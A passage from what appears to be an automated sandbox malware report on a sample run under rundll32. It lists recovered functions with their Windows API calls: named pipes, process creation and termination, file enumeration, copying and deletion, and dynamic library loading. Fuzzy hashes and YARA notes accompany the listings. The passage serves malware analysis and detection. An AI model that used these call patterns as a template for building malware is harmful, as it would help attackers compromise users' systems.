                                              • Part of subcall function 05DD3622: memcpy.NTDLL(00000010,05DDD8E9,00000000,?,?,05DDD8E9,00000035,00000000), ref: 05DD369E
                                              • Part of subcall function 05DD3622: memcpy.NTDLL(00000010,00000000,00000035,?,?,05DDD8E9,00000035), ref: 05DD36B9
                                              • Part of subcall function 05DD3622: CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000028,00000001), ref: 05DD36D7
                                              • Part of subcall function 05DD3622: GetLastError.KERNEL32(?,?,05DDD8E9,00000035), ref: 05DD36E1
                                              • Part of subcall function 05DD3622: HeapFree.KERNEL32(00000000,00000000,?,?,05DDD8E9,00000035), ref: 05DD3704
                                            • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 05DE774B
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DE7777
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$Allocate$lstrlen$wsprintf$QueryValuememcpy$CallCloseErrorLastNamedPipe
                                            • String ID:
                                            • API String ID: 3130754786-0
                                            • Opcode ID: 2e3d78126284d2c0358bf7de259dbefd68b7081acc14f289f1fd04706b8623d8
                                            • Instruction ID: 4a1d85703b0ff8901e9b3d157c8ba81a06c51d00ffe14a9f3e91e37bdc721762
                                            • Opcode Fuzzy Hash: 2e3d78126284d2c0358bf7de259dbefd68b7081acc14f289f1fd04706b8623d8
                                            • Instruction Fuzzy Hash: BDA15C71900149BFEF50AFA8DC89EAEBFB9FB08344B11446BF506A3250DB315E85DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDDAD8 Relevance: 24.3, APIs: 16, Instructions: 258memorystringfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(?), ref: 05DDDAED
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?,00000000,76EC69A0,?,00000250,?,00000000), ref: 05DD5A60
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?,?,00000000), ref: 05DD5A6C
                                              • Part of subcall function 05DD5A14: memset.NTDLL ref: 05DD5AB4
                                              • Part of subcall function 05DD5A14: FindFirstFileW.KERNEL32(00000000,00000000), ref: 05DD5ACF
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(0000002C), ref: 05DD5B07
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?), ref: 05DD5B0F
                                              • Part of subcall function 05DD5A14: memset.NTDLL ref: 05DD5B32
                                              • Part of subcall function 05DD5A14: wcscpy.NTDLL ref: 05DD5B44
                                              • Part of subcall function 05DD5A14: PathFindFileNameW.SHLWAPI(0000001C,?,?,?,?,00000000), ref: 05DD5B6A
                                              • Part of subcall function 05DD5A14: RtlEnterCriticalSection.NTDLL(?), ref: 05DD5BA0
                                              • Part of subcall function 05DD5A14: RtlLeaveCriticalSection.NTDLL(?), ref: 05DD5BBC
                                              • Part of subcall function 05DD5A14: FindNextFileW.KERNEL32(?,00000000), ref: 05DD5BD5
                                              • Part of subcall function 05DD5A14: WaitForSingleObject.KERNEL32(00000000), ref: 05DD5BE7
                                              • Part of subcall function 05DD5A14: FindClose.KERNEL32(?), ref: 05DD5BFC
                                              • Part of subcall function 05DD5A14: FindFirstFileW.KERNEL32(00000000,00000000), ref: 05DD5C10
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(0000002C), ref: 05DD5C32
                                            • RtlAllocateHeap.NTDLL(00000000,00000036,?), ref: 05DDDB49
                                            • memcpy.NTDLL(00000000,?,00000000), ref: 05DDDB5C
                                            • lstrcpyW.KERNEL32(00000000,?), ref: 05DDDB73
                                              • Part of subcall function 05DD5A14: FindNextFileW.KERNEL32(?,00000000), ref: 05DD5CA8
                                              • Part of subcall function 05DD5A14: WaitForSingleObject.KERNEL32(00000000), ref: 05DD5CBA
                                              • Part of subcall function 05DD5A14: FindClose.KERNEL32(?), ref: 05DD5CD5
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,00000000,00000000,00000010), ref: 05DDDB9E
                                            • RtlAllocateHeap.NTDLL(00000000,0000020C), ref: 05DDDBB6
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DDDC10
                                            • lstrlenW.KERNEL32(00000000,?), ref: 05DDDC33
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDDC45
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,00000000,00000000,00000014), ref: 05DDDCB9
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDDCC9
                                              • Part of subcall function 05DDADF8: lstrlen.KERNEL32(?,00000008,-00000007,?,00000000,05DEA2DC,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DDAE07
                                              • Part of subcall function 05DDADF8: mbstowcs.NTDLL ref: 05DDAE23
                                            • CreateDirectoryW.KERNEL32(00000000,00000000,?), ref: 05DDDCF2
                                            • lstrlenW.KERNEL32(05DFA878,?), ref: 05DDDD6C
                                            • DeleteFileW.KERNEL32(?,?), ref: 05DDDD9A
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDDDA8
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDDDC9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heaplstrlen$Find$FileFree$Allocate$CloseCriticalFirstNextObjectSectionSingleWaitmemset$CreateDeleteDirectoryEnterLeaveNamePathlstrcpymbstowcsmemcpywcscpy
                                            • String ID:
                                            • API String ID: 72361108-0
                                            • Opcode ID: 889479b8e840ed93e8d91a226a475ed56c99afbda35b019d922afa97bc778459
                                            • Instruction ID: 2be83b95a16f9933cb8aae605697968c07a0e7801062b4ad74ec1ff595e33932
                                            • Opcode Fuzzy Hash: 889479b8e840ed93e8d91a226a475ed56c99afbda35b019d922afa97bc778459
                                            • Instruction Fuzzy Hash: 03911DB1911219AFDF10EFA8EC89DAABFBDFB09350B044467F509D7211DA70A985CB70
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDB526 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 149stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • memset.NTDLL ref: 05DDB554
                                            • StrChrA.SHLWAPI(?,0000000D), ref: 05DDB59A
                                            • StrChrA.SHLWAPI(?,0000000A), ref: 05DDB5A7
                                            • StrChrA.SHLWAPI(?,0000007C), ref: 05DDB5CE
                                            • StrTrimA.SHLWAPI(?,05DF4FC4), ref: 05DDB5E3
                                            • StrChrA.SHLWAPI(?,0000003D), ref: 05DDB5EC
                                            • StrTrimA.SHLWAPI(00000001,05DF4FC4), ref: 05DDB602
                                            • _strupr.NTDLL ref: 05DDB609
                                            • StrTrimA.SHLWAPI(?,?), ref: 05DDB616
                                            • memcpy.NTDLL(00000000,00000000,-00000008,-00000020,00000000,-00000020), ref: 05DDB65E
                                            • lstrlen.KERNEL32(?,00000000,?,?,?,00000000,?,00000000,?), ref: 05DDB67D
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Trim$AllocateHeap_struprlstrlenmemcpymemset
                                            • String ID: $;
                                            • API String ID: 4019332941-73438061
                                            • Opcode ID: 242d58a1d95a264005c37d07a5ce9dada34a2a499908ed30cda2c1e1759d89c5
                                            • Instruction ID: d373d6393cc4f0381eb0faa668a8bf70eddca6a465955ba9b4df63ecf45159cf
                                            • Opcode Fuzzy Hash: 242d58a1d95a264005c37d07a5ce9dada34a2a499908ed30cda2c1e1759d89c5
                                            • Instruction Fuzzy Hash: FC41AC71608306AFEB21AF698C45B2BFBE8EF44208F05081BF596DB241DB75E5058F72
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDB968 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 121processstringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DDB97D
                                              • Part of subcall function 05DDADF8: lstrlen.KERNEL32(?,00000008,-00000007,?,00000000,05DEA2DC,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DDAE07
                                              • Part of subcall function 05DDADF8: mbstowcs.NTDLL ref: 05DDAE23
                                            • lstrlenW.KERNEL32(00000000,00000000,00000000,772FDBB0,00000020,00000000), ref: 05DDB9B6
                                            • wcstombs.NTDLL ref: 05DDB9C0
                                            • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?,00000000,772FDBB0,00000020,00000000), ref: 05DDB9F1
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,05DDB8C3), ref: 05DDBA1D
                                            • TerminateProcess.KERNEL32(?,000003E5), ref: 05DDBA33
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,05DDB8C3), ref: 05DDBA47
                                            • GetLastError.KERNEL32 ref: 05DDBA4B
                                            • GetExitCodeProcess.KERNEL32(?,00000001), ref: 05DDBA6B
                                            • CloseHandle.KERNEL32(?), ref: 05DDBA7A
                                            • CloseHandle.KERNEL32(?), ref: 05DDBA7F
                                            • GetLastError.KERNEL32 ref: 05DDBA83
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CloseErrorHandleLastMultipleObjectsWaitlstrlen$CodeCreateExitTerminatembstowcsmemsetwcstombs
                                            • String ID: D
                                            • API String ID: 2463014471-2746444292
                                            • Opcode ID: b539324c30c9e55097cbf984401402ecd5419989f93a1afd4c28b61f80c81faa
                                            • Instruction ID: 4663e7d7ae9919fa0c6d0dd469b18ea45cd36465753e30baad1dd22a810b4610
                                            • Opcode Fuzzy Hash: b539324c30c9e55097cbf984401402ecd5419989f93a1afd4c28b61f80c81faa
                                            • Instruction Fuzzy Hash: 494108B6901118FFEF01EFA4CD859EEBBB9FB08244F11406BF505B6210EA759E448B71
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDC7AE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 104synchronizationpipethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 05DDC7E0
                                            • WaitForSingleObject.KERNEL32(000005B0,00000000), ref: 05DDC802
                                            • ConnectNamedPipe.KERNEL32(?,?), ref: 05DDC822
                                            • GetLastError.KERNEL32 ref: 05DDC82C
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DDC850
                                            • FlushFileBuffers.KERNEL32(?,?,00000001,00000000,?,?,?,00000010,00000000), ref: 05DDC893
                                            • DisconnectNamedPipe.KERNEL32(?,?,?,00000010,00000000), ref: 05DDC89C
                                            • WaitForSingleObject.KERNEL32(00000000), ref: 05DDC8A5
                                            • CloseHandle.KERNEL32(?), ref: 05DDC8BA
                                            • GetLastError.KERNEL32 ref: 05DDC8C7
                                            • CloseHandle.KERNEL32(?), ref: 05DDC8D4
                                            • RtlExitUserThread.NTDLL(000000FF), ref: 05DDC8EA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Wait$CloseErrorHandleLastNamedObjectPipeSingle$BuffersConnectCreateDisconnectEventExitFileFlushMultipleObjectsThreadUser
                                            • String ID: v
                                            • API String ID: 4053378866-1801730948
                                            • Opcode ID: e0a00a121f012d47913e73d3d3723e9781e9237fc90ca35431d0d170ef42124a
                                            • Instruction ID: 3315f90993aee80bf52362ab00376a3ca8c884321acbd4a732ae58184956b958
                                            • Opcode Fuzzy Hash: e0a00a121f012d47913e73d3d3723e9781e9237fc90ca35431d0d170ef42124a
                                            • Instruction Fuzzy Hash: 14315571424305AFDB119F68DC49D6BBFA9FB44314F004A2BF565D22A0DB709D45CBA3
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDAE4A Relevance: 21.2, APIs: 14, Instructions: 201memorystringthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • StrChrA.SHLWAPI(?,0000002C), ref: 05DDAE99
                                            • StrTrimA.SHLWAPI(00000001,?), ref: 05DDAEB2
                                            • StrChrA.SHLWAPI(?,0000002C), ref: 05DDAEBD
                                            • StrTrimA.SHLWAPI(00000001,?), ref: 05DDAED6
                                            • lstrlen.KERNEL32(?,00000001,?,?), ref: 05DDAF6E
                                            • RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 05DDAF90
                                            • lstrcpy.KERNEL32(00000020,?), ref: 05DDAFAF
                                            • lstrlen.KERNEL32(?), ref: 05DDAFB9
                                            • memcpy.NTDLL(?,?,?), ref: 05DDAFFA
                                            • memcpy.NTDLL(?,?,?), ref: 05DDB00D
                                            • SwitchToThread.KERNEL32(?,00000000,?,?), ref: 05DDB031
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 05DDB050
                                            • HeapFree.KERNEL32(00000000,?,00000001,?,?), ref: 05DDB076
                                            • HeapFree.KERNEL32(00000000,00000001,00000001,?,?), ref: 05DDB092
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$Trimlstrlenmemcpy$AllocateSwitchThreadlstrcpy
                                            • String ID:
                                            • API String ID: 3323474148-0
                                            • Opcode ID: 61994549576632d6e36360e355d3d9fdc5880758b113a8034e8636923612a8bb
                                            • Instruction ID: 717c89cf78109b9cf9684f1fc36e882d5f27ddb330f40efc02fc6052993ddb57
                                            • Opcode Fuzzy Hash: 61994549576632d6e36360e355d3d9fdc5880758b113a8034e8636923612a8bb
                                            • Instruction Fuzzy Hash: 84715C71508305AFDB21DF28D845A6BFBE5FB48314F05892FF59A93250D731E584CBA2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDCB7A Relevance: 21.2, APIs: 14, Instructions: 161memorystringfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?), ref: 05DDCB91
                                            • lstrlen.KERNEL32(?), ref: 05DDCB98
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDCBAF
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DDCBC0
                                            • lstrcat.KERNEL32(?,?), ref: 05DDCBDC
                                            • lstrcat.KERNEL32(?,?), ref: 05DDCBED
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDCBFE
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDCC9B
                                            • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000), ref: 05DDCCD4
                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 05DDCCED
                                            • CloseHandle.KERNEL32(00000000), ref: 05DDCCF7
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDCD07
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DDCD20
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDCD30
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFree$Filelstrcatlstrlen$CloseCreateHandleWritelstrcpy
                                            • String ID:
                                            • API String ID: 333890978-0
                                            • Opcode ID: 091bf9ea0c2ff474029cb9c845ca7fdcc8fbf444ebff84a6c66c4c1e99aed06d
                                            • Instruction ID: d51605a72bb2b44ec75d8c14a7a65fd3a92de6294e342421b2f6d05f9c9e25c6
                                            • Opcode Fuzzy Hash: 091bf9ea0c2ff474029cb9c845ca7fdcc8fbf444ebff84a6c66c4c1e99aed06d
                                            • Instruction Fuzzy Hash: E3516F76810108BFDF019FA8EC85DAEBFBDFB48254B054467FA06D7220DA319E85DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD760F Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 128timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • wsprintfA.USER32 ref: 05DD7651
                                            • OpenWaitableTimerA.KERNEL32(00100000,00000000,?), ref: 05DD7664
                                            • CloseHandle.KERNEL32(00000000), ref: 05DD777C
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • memset.NTDLL ref: 05DD7687
                                            • memcpy.NTDLL(?,000493E0,00000010,?,?,00000040), ref: 05DD7706
                                            • RtlEnterCriticalSection.NTDLL(?), ref: 05DD771B
                                            • RtlLeaveCriticalSection.NTDLL(?), ref: 05DD7733
                                            • GetLastError.KERNEL32(05DEBC40,?,?,?,?,?,?,?,00000040), ref: 05DD774B
                                            • RtlEnterCriticalSection.NTDLL(?), ref: 05DD7757
                                            • RtlLeaveCriticalSection.NTDLL(?), ref: 05DD7766
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSection$EnterLeave$AllocateCloseErrorHandleHeapLastOpenTimerWaitablememcpymemsetwsprintf
                                            • String ID: 0x%08X$W
                                            • API String ID: 1559661116-2600449260
                                            • Opcode ID: db4cc58a00b3638b9c50ad67ae49f0215c408968e0fac8ad02cd10d52823afa2
                                            • Instruction ID: bd5ce915deaf0e81b7e98b061064c0cec5b620d576edd38acc055c224824ae59
                                            • Opcode Fuzzy Hash: db4cc58a00b3638b9c50ad67ae49f0215c408968e0fac8ad02cd10d52823afa2
                                            • Instruction Fuzzy Hash: 5C414AB1900209BFDB50DFA8C885AAEBBF8FF08344F10856AF559D7290D7719A54CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE0F11 Relevance: 21.1, APIs: 14, Instructions: 109libraryloaderstringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(?,00000000,?,?,?,05DDCE9C,?,?), ref: 05DE0F1E
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • GetCurrentDirectoryW.KERNEL32(00007FFF,00000000,00010012,?,?,?,05DDCE9C,?,?), ref: 05DE0F47
                                            • lstrcpyW.KERNEL32(-0000FFFE,?), ref: 05DE0F67
                                            • lstrcpyW.KERNEL32(-00000002,?), ref: 05DE0F83
                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,05DDCE9C,?,?), ref: 05DE0F8F
                                            • LoadLibraryW.KERNEL32(-0000FFFE,?,?,?,?,05DDCE9C,?,?), ref: 05DE0F92
                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,05DDCE9C,?,?), ref: 05DE0F9E
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE0FBB
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE0FD5
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE0FEB
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE1001
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE1017
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE102D
                                            • FreeLibrary.KERNEL32(00000000,?,?,?,?,05DDCE9C,?,?), ref: 05DE1056
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc$CurrentDirectory$Librarylstrcpy$AllocateFreeHeapLoadlstrlen
                                            • String ID:
                                            • API String ID: 3772355505-0
                                            • Opcode ID: 71642c821a33350a55419d1b17f73f2fa2eb18a06c032c40b3153693a348e010
                                            • Instruction ID: 83e9720b2a8ad684ded0d4b43fd8511bdc1117bb80901d9e1ca3243173eb0a3f
                                            • Opcode Fuzzy Hash: 71642c821a33350a55419d1b17f73f2fa2eb18a06c032c40b3153693a348e010
                                            • Instruction Fuzzy Hash: D13118B161521AAFEB11AFA8DC89D677BECEF04344B044427B949C7351DF36E944CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD4D28 Relevance: 21.1, APIs: 14, Instructions: 82stringmemoryfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(?,?,00000000,?,?,?,05DDDD96,?,?,?), ref: 05DD4D3F
                                            • lstrlenW.KERNEL32(?,?,?,00000000,?,?,?,05DDDD96,?,?,?), ref: 05DD4D4A
                                            • lstrlenW.KERNEL32(?,?,?,00000000,?,?,?,05DDDD96,?,?,?), ref: 05DD4D52
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DD4D67
                                            • lstrcpyW.KERNEL32(00000000,?), ref: 05DD4D78
                                            • lstrcatW.KERNEL32(00000000,?), ref: 05DD4D8A
                                            • CreateDirectoryW.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,05DDDD96,?,?,?), ref: 05DD4D8F
                                            • lstrcatW.KERNEL32(00000000,05DF43E0), ref: 05DD4D9B
                                            • lstrcatW.KERNEL32(00000000), ref: 05DD4DA4
                                            • CreateDirectoryW.KERNEL32(00000000,00000000,?,?,0000005C,?,?,00000000,?,?,?,05DDDD96,?,?,?), ref: 05DD4DA9
                                            • lstrcatW.KERNEL32(00000000,05DF43E0), ref: 05DD4DB5
                                            • lstrcatW.KERNEL32(00000000,00000002), ref: 05DD4DD1
                                            • CopyFileW.KERNEL32(?,00000000,00000000,?,?,0000005C,?,?,00000000,?,?,?,05DDDD96,?,?,?), ref: 05DD4DD9
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,0000005C,?,?,00000000,?,?,?,05DDDD96,?,?,?), ref: 05DD4DE7
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrcat$lstrlen$CreateDirectoryHeap$AllocateCopyFileFreelstrcpy
                                            • String ID:
                                            • API String ID: 3635185113-0
                                            • Opcode ID: aa67deedd75cc67d2de0bffaccc8b22b5e559861bf4cff32d5cfe3fe09e8b2ea
                                            • Instruction ID: 74eae66f240fd037a81de8a3826994f1a8d7fe0c9adf1b3746440084ae3b0b71
                                            • Opcode Fuzzy Hash: aa67deedd75cc67d2de0bffaccc8b22b5e559861bf4cff32d5cfe3fe09e8b2ea
                                            • Instruction Fuzzy Hash: 1D218B32111215BFDA216B68EC86F7FBFBCEF85A95F01041FFA4592210CF6098459B65
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDBBF2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 110librarymemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(?), ref: 05DDBC12
                                            • TlsAlloc.KERNEL32 ref: 05DDBC1C
                                            • LoadLibraryA.KERNEL32(?), ref: 05DDBC45
                                            • LoadLibraryA.KERNEL32(?), ref: 05DDBC53
                                            • LoadLibraryA.KERNEL32(?), ref: 05DDBC61
                                            • LoadLibraryA.KERNEL32(?), ref: 05DDBC6F
                                            • LoadLibraryA.KERNEL32(?), ref: 05DDBC7D
                                            • LoadLibraryA.KERNEL32(?), ref: 05DDBC8B
                                            • ___HrLoadAllImportsForDll@4.DELAYIMP ref: 05DDBCB5
                                            • HeapFree.KERNEL32(00000000,?,?,?,0000000C,00000000), ref: 05DDBD36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Load$Library$AllocDll@4FreeHeapImports
                                            • String ID: ~
                                            • API String ID: 1792504554-1707062198
                                            • Opcode ID: b61d714b80b15c4e203500c27f5e750dd54bd5c0f3055a1d379886604bbe7104
                                            • Instruction ID: cd318591634e432c1e3f02fc21a21ac40014875eb45d1e208d4dead57600d965
                                            • Opcode Fuzzy Hash: b61d714b80b15c4e203500c27f5e750dd54bd5c0f3055a1d379886604bbe7104
                                            • Instruction Fuzzy Hash: 8B414971E11219EFEF00DFA8D889E99BBFDFB08204B1644A7E509DB350DA35A9458F60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEB262 Relevance: 18.2, APIs: 12, Instructions: 196memorystringthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD984B: RtlAllocateHeap.NTDLL(00000000,00000105), ref: 05DD9890
                                              • Part of subcall function 05DD984B: RtlAllocateHeap.NTDLL(00000000,00000105), ref: 05DD98A8
                                              • Part of subcall function 05DD984B: WaitForSingleObject.KERNEL32(00000000,?,00000000,?), ref: 05DD9970
                                              • Part of subcall function 05DD984B: HeapFree.KERNEL32(00000000,?,?,00000000,?), ref: 05DD9999
                                              • Part of subcall function 05DD984B: HeapFree.KERNEL32(00000000,?,?,00000000,?), ref: 05DD99A9
                                              • Part of subcall function 05DD984B: RegCloseKey.ADVAPI32(?,?,00000000,?), ref: 05DD99B2
                                            • lstrcmp.KERNEL32(?,?), ref: 05DEB2D9
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEB305
                                            • GetCurrentThreadId.KERNEL32 ref: 05DEB3B6
                                            • GetCurrentThread.KERNEL32 ref: 05DEB3C7
                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000,?,Function_0000121A,?,00000001), ref: 05DEB404
                                            • HeapFree.KERNEL32(00000000,?,?,00000000,?,Function_0000121A,?,00000001), ref: 05DEB418
                                            • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 05DEB426
                                            • wsprintfA.USER32 ref: 05DEB43E
                                              • Part of subcall function 05DE5B7E: lstrlen.KERNEL32(00000000,00000000,00000000,00000008,05DE4325,00000000,00000000,00000000,00000000,00000000,?,05DD479A,00000000,00000000,00000000,00000000), ref: 05DE5B88
                                              • Part of subcall function 05DE5B7E: lstrcpy.KERNEL32(00000000,00000000), ref: 05DE5BAC
                                              • Part of subcall function 05DE5B7E: StrRChrA.SHLWAPI(00000000,00000000,0000002E,?,00000003,?,05DD479A,00000000,00000000,00000000,00000000), ref: 05DE5BB3
                                              • Part of subcall function 05DE5B7E: lstrcat.KERNEL32(00000000,?), ref: 05DE5C0A
                                            • lstrlen.KERNEL32(00000000,00000000), ref: 05DEB449
                                            • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 05DEB460
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DEB471
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEB47D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$Allocate$CurrentThreadlstrlen$CloseObjectSingleWaitlstrcatlstrcmplstrcpywsprintf
                                            • String ID:
                                            • API String ID: 773763258-0
                                            • Opcode ID: 92bef73c2df5ea9a4ee9852ae677711d5bb3d0ae7af34d703164912e72e2d359
                                            • Instruction ID: 68c13d4776c1577b83ed0596df434fd135a15b5a7f3e865e32f63dcaa494b79f
                                            • Opcode Fuzzy Hash: 92bef73c2df5ea9a4ee9852ae677711d5bb3d0ae7af34d703164912e72e2d359
                                            • Instruction Fuzzy Hash: 8371D271911119EFDB11EFA9D889EEEBFB9FF08210F048466F505A7220DB31A945DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE7785 Relevance: 18.1, APIs: 12, Instructions: 136stringmemoryCOMMON
                                            Download Yara Rule
